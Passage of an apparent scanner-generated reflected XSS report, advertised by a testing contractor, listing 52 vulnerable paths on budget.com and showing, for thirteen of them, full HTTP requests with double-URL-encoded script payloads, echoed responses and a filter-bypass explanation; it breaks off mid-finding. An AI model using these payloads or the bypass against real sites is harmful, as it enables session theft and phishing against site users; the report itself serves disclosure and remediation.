Contractor for Hire: Per Minute, Per Day, Bounty Hunting

Example #1: Automated Vulnerability Crawler: $1/min, max charge is US $10 for 200 URL + 10 Params for
CWE-79, CWE-89 and CWE-113 (XSS, SQL Injection and HTTP Header Injection).
Example #2: Hybrid Risk Analysis: $2/min, max charge is US $30 for 200 URL + 10 Params, Manual Testing of High Value URI/Param targets.
Example #3: Penetration Testing: Individual Case Basis, use Live Chat for a Quote.
Example #4:
Report generated by XSS.CX at Sat Nov 13 20:09:57 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.budget.com/budgetSearch/sitesearch/performSearch.ex [REST URL parameter 2]

1.2. http://www.budget.com/budgetWeb/feedback/feedbackrouter.ex [REST URL parameter 2]

1.3. http://www.budget.com/budgetWeb/feedback/freqrenterSubSubmit.ex [REST URL parameter 2]

1.4. http://www.budget.com/budgetWeb/home/home.ex [REST URL parameter 2]

1.5. http://www.budget.com/budgetWeb/home/hotdeals.ex [REST URL parameter 2]

1.6. http://www.budget.com/budgetWeb/locationsearch/location.ex [REST URL parameter 2]

1.7. http://www.budget.com/budgetWeb/profile/frequentrenter.ex [REST URL parameter 2]

1.8. http://www.budget.com/budgetWeb/reservation/bridge.ex [REST URL parameter 2]

1.9. http://www.budget.com/budgetWeb/reservation/initializer.ex [REST URL parameter 2]

1.10. http://www.budget.com/budgetWeb/reservation/view.ex [REST URL parameter 2]

1.11. http://www.budget.com/budgetWeb/smallbiz/bcdsignup.ex [REST URL parameter 2]

1.12. https://www.budget.com/budgetSearch/sitesearch/feedback.ex [REST URL parameter 2]

1.13. https://www.budget.com/budgetSearch/sitesearch/performSearch.ex [REST URL parameter 2]

1.14. https://www.budget.com/budgetWeb/feedback/ccsSubmit.ex [REST URL parameter 2]

1.15. https://www.budget.com/budgetWeb/feedback/contactSubSubmit.ex [REST URL parameter 2]

1.16. https://www.budget.com/budgetWeb/feedback/feedbackrouter.ex [REST URL parameter 2]

1.17. https://www.budget.com/budgetWeb/feedback/freqrenterMeetingsSubmit.ex [REST URL parameter 2]

1.18. https://www.budget.com/budgetWeb/feedback/freqrenterReunionsSubmit.ex [REST URL parameter 2]

1.19. https://www.budget.com/budgetWeb/feedback/freqrenterSubSubmit.ex [REST URL parameter 2]

1.20. https://www.budget.com/budgetWeb/feedback/freqrenterWeddingsSubmit.ex [REST URL parameter 2]

1.21. https://www.budget.com/budgetWeb/feedback/giftCertificateSubmit.ex [REST URL parameter 2]

1.22. https://www.budget.com/budgetWeb/feedback/rentalhistorymailtoform.ex [REST URL parameter 2]

1.23. https://www.budget.com/budgetWeb/home/home.ex [REST URL parameter 2]

1.24. https://www.budget.com/budgetWeb/home/hotdeals.ex [REST URL parameter 2]

1.25. https://www.budget.com/budgetWeb/home/tahome.ex [REST URL parameter 2]

1.26. https://www.budget.com/budgetWeb/homea4e0c%253cscript%253ealert%25281%2529%253c%252fscript%253e619f45c5923/hotdeals.ex [REST URL parameter 2]

1.27. https://www.budget.com/budgetWeb/locationsearch/details.ex [REST URL parameter 2]

1.28. https://www.budget.com/budgetWeb/locationsearch/driving.ex [REST URL parameter 2]

1.29. https://www.budget.com/budgetWeb/locationsearch/location.ex [REST URL parameter 2]

1.30. https://www.budget.com/budgetWeb/locationsearch/locationBrowse.ex [REST URL parameter 2]

1.31. https://www.budget.com/budgetWeb/locationsearch/locationbeforevalidation.ex [REST URL parameter 2]

1.32. https://www.budget.com/budgetWeb/locationsearch/locationlook.ex [REST URL parameter 2]

1.33. https://www.budget.com/budgetWeb/locationsearch/maprefresh.ex [REST URL parameter 2]

1.34. https://www.budget.com/budgetWeb/locationsearch/pointsofinterest.ex [REST URL parameter 2]

1.35. https://www.budget.com/budgetWeb/locationsearche376d%253cscript%253ealert%25281%2529%253c%252fscript%253e621af7d2d91/locationBrowse.ex [REST URL parameter 2]

1.36. https://www.budget.com/budgetWeb/profile/createRapidRez.ex [REST URL parameter 2]

1.37. https://www.budget.com/budgetWeb/profile/createRapidRezFB.ex [REST URL parameter 2]

1.38. https://www.budget.com/budgetWeb/profile/fastbreak.ex [REST URL parameter 2]

1.39. https://www.budget.com/budgetWeb/profile/findbcn.ex [REST URL parameter 2]

1.40. https://www.budget.com/budgetWeb/profile/frequentrenter.ex [REST URL parameter 2]

1.41. https://www.budget.com/budgetWeb/profile/logout.ex [REST URL parameter 2]

1.42. https://www.budget.com/budgetWeb/profile/manageaccount.ex [REST URL parameter 2]

1.43. https://www.budget.com/budgetWeb/profile/modifyRapidRez.ex [REST URL parameter 2]

1.44. https://www.budget.com/budgetWeb/profile/modifyRapidRezFB.ex [REST URL parameter 2]

1.45. https://www.budget.com/budgetWeb/profile/rapidrezlogin.ex [REST URL parameter 2]

1.46. https://www.budget.com/budgetWeb/profile/resetpswd.ex [REST URL parameter 2]

1.47. https://www.budget.com/budgetWeb/profile/signin.ex [REST URL parameter 2]

1.48. https://www.budget.com/budgetWeb/profile/siteregistration.ex [REST URL parameter 2]

1.49. https://www.budget.com/budgetWeb/reservation/bridge.ex [REST URL parameter 2]

1.50. https://www.budget.com/budgetWeb/reservation/initializer.ex [REST URL parameter 2]

1.51. https://www.budget.com/budgetWeb/reservation/view.ex [REST URL parameter 2]

1.52. https://www.budget.com/budgetWeb/smallbiz/bcdsignup.ex [REST URL parameter 2]



1. Cross-site scripting (reflected)
There are 52 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.budget.com/budgetSearch/sitesearch/performSearch.ex [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetSearch/sitesearch/performSearch.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 54162%253cscript%253ealert%25281%2529%253c%252fscript%253e00425d2e971 was submitted in the REST URL parameter 2. This input was echoed as 54162<script>alert(1)</script>00425d2e971 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetSearch/sitesearch54162%253cscript%253ealert%25281%2529%253c%252fscript%253e00425d2e971/performSearch.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 93
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 08:04:06 GMT
Connection: close

Invalid path /sitesearch54162<script>alert(1)</script>00425d2e971/performSearch was requested

1.2. http://www.budget.com/budgetWeb/feedback/feedbackrouter.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/feedback/feedbackrouter.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 56ebe%253cscript%253ealert%25281%2529%253c%252fscript%253ef020d54e1e1 was submitted in the REST URL parameter 2. This input was echoed as 56ebe<script>alert(1)</script>f020d54e1e1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/56ebe%253cscript%253ealert%25281%2529%253c%252fscript%253ef020d54e1e1/feedbackrouter.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 84
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:23 GMT
Connection: close

Invalid path /56ebe<script>alert(1)</script>f020d54e1e1/feedbackrouter was requested

1.3. http://www.budget.com/budgetWeb/feedback/freqrenterSubSubmit.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/feedback/freqrenterSubSubmit.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c3212%253cscript%253ealert%25281%2529%253c%252fscript%253e831594a0ccd was submitted in the REST URL parameter 2. This input was echoed as c3212<script>alert(1)</script>831594a0ccd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/c3212%253cscript%253ealert%25281%2529%253c%252fscript%253e831594a0ccd/freqrenterSubSubmit.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 89
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:28 GMT
Connection: close

Invalid path /c3212<script>alert(1)</script>831594a0ccd/freqrenterSubSubmit was requested

1.4. http://www.budget.com/budgetWeb/home/home.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/home/home.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload cb279%253cscript%253ealert%25281%2529%253c%252fscript%253e778512a065d was submitted in the REST URL parameter 2. This input was echoed as cb279<script>alert(1)</script>778512a065d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/homecb279%253cscript%253ealert%25281%2529%253c%252fscript%253e778512a065d/home.ex HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.budget.com
Proxy-Connection: Keep-Alive
Cookie: datacenter=boulder

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 78
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:55 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=9gpYMGKCmvyyWSpDQggW01chbN2GspgGSGvZL0qnfGbvWLKvGdpg!-83250647; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:57:54 GMT; path=/

Invalid path /homecb279<script>alert(1)</script>778512a065d/home was requested

1.5. http://www.budget.com/budgetWeb/home/hotdeals.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/home/hotdeals.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 50ef1%253cscript%253ealert%25281%2529%253c%252fscript%253efe0699e826 was submitted in the REST URL parameter 2. This input was echoed as 50ef1<script>alert(1)</script>fe0699e826 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/home50ef1%253cscript%253ealert%25281%2529%253c%252fscript%253efe0699e826/hotdeals.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 81
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:59 GMT
Connection: close

Invalid path /home50ef1<script>alert(1)</script>fe0699e826/hotdeals was requested

1.6. http://www.budget.com/budgetWeb/locationsearch/location.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/locationsearch/location.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e5065%253cscript%253ealert%25281%2529%253c%252fscript%253eb3ded0a17ac was submitted in the REST URL parameter 2. This input was echoed as e5065<script>alert(1)</script>b3ded0a17ac in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearche5065%253cscript%253ealert%25281%2529%253c%252fscript%253eb3ded0a17ac/location.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 92
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:59 GMT
Connection: close

Invalid path /locationsearche5065<script>alert(1)</script>b3ded0a17ac/location was requested

1.7. http://www.budget.com/budgetWeb/profile/frequentrenter.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/profile/frequentrenter.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 791a8%253cscript%253ealert%25281%2529%253c%252fscript%253e06f7517d158 was submitted in the REST URL parameter 2. This input was echoed as 791a8<script>alert(1)</script>06f7517d158 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/791a8%253cscript%253ealert%25281%2529%253c%252fscript%253e06f7517d158/frequentrenter.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 84
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:45 GMT
Connection: close

Invalid path /791a8<script>alert(1)</script>06f7517d158/frequentrenter was requested

1.8. http://www.budget.com/budgetWeb/reservation/bridge.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/reservation/bridge.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a6b81%253cscript%253ealert%25281%2529%253c%252fscript%253e95d19895826 was submitted in the REST URL parameter 2. This input was echoed as a6b81<script>alert(1)</script>95d19895826 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/a6b81%253cscript%253ealert%25281%2529%253c%252fscript%253e95d19895826/bridge.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 76
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:28 GMT
Connection: close

Invalid path /a6b81<script>alert(1)</script>95d19895826/bridge was requested

1.9. http://www.budget.com/budgetWeb/reservation/initializer.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/reservation/initializer.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2b727%253cscript%253ealert%25281%2529%253c%252fscript%253e363076bc730 was submitted in the REST URL parameter 2. This input was echoed as 2b727<script>alert(1)</script>363076bc730 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/2b727%253cscript%253ealert%25281%2529%253c%252fscript%253e363076bc730/initializer.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 81
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:34 GMT
Connection: close

Invalid path /2b727<script>alert(1)</script>363076bc730/initializer was requested

1.10. http://www.budget.com/budgetWeb/reservation/view.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/reservation/view.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 93a14%253cscript%253ealert%25281%2529%253c%252fscript%253e34c27f66f18 was submitted in the REST URL parameter 2. This input was echoed as 93a14<script>alert(1)</script>34c27f66f18 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/93a14%253cscript%253ealert%25281%2529%253c%252fscript%253e34c27f66f18/view.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 74
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:27 GMT
Connection: close

Invalid path /93a14<script>alert(1)</script>34c27f66f18/view was requested

1.11. http://www.budget.com/budgetWeb/smallbiz/bcdsignup.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.budget.com
Path:   /budgetWeb/smallbiz/bcdsignup.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 6ed9f%253cscript%253ealert%25281%2529%253c%252fscript%253e049cf6506d6 was submitted in the REST URL parameter 2. This input was echoed as 6ed9f<script>alert(1)</script>049cf6506d6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/6ed9f%253cscript%253ealert%25281%2529%253c%252fscript%253e049cf6506d6/bcdsignup.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 79
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:57:46 GMT
Connection: close

Invalid path /6ed9f<script>alert(1)</script>049cf6506d6/bcdsignup was requested

1.12. https://www.budget.com/budgetSearch/sitesearch/feedback.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetSearch/sitesearch/feedback.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 333cf%253cscript%253ealert%25281%2529%253c%252fscript%253ed0f6a981d26 was submitted in the REST URL parameter 2. This input was echoed as 333cf<script>alert(1)</script>d0f6a981d26 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetSearch/sitesearch333cf%253cscript%253ealert%25281%2529%253c%252fscript%253ed0f6a981d26/feedback.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=95CE485638CBD704DE0C72B970DFFB28; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDY3NzY0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 88
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:51:24 GMT
Connection: close
Set-Cookie: JSESSIONID=16QhMGLbRMyXvCzvkJjC3ZgQfxJh1GR0ry1G2HTJFrFN6bxQ0Jpp!844067018; path=/

Invalid path /sitesearch333cf<script>alert(1)</script>d0f6a981d26/feedback was requested

1.13. https://www.budget.com/budgetSearch/sitesearch/performSearch.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetSearch/sitesearch/performSearch.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c5f3d%253cscript%253ealert%25281%2529%253c%252fscript%253e12dbf420e6f was submitted in the REST URL parameter 2. This input was echoed as c5f3d<script>alert(1)</script>12dbf420e6f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetSearch/sitesearchc5f3d%253cscript%253ealert%25281%2529%253c%252fscript%253e12dbf420e6f/performSearch.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datacenter=boulder;

Response

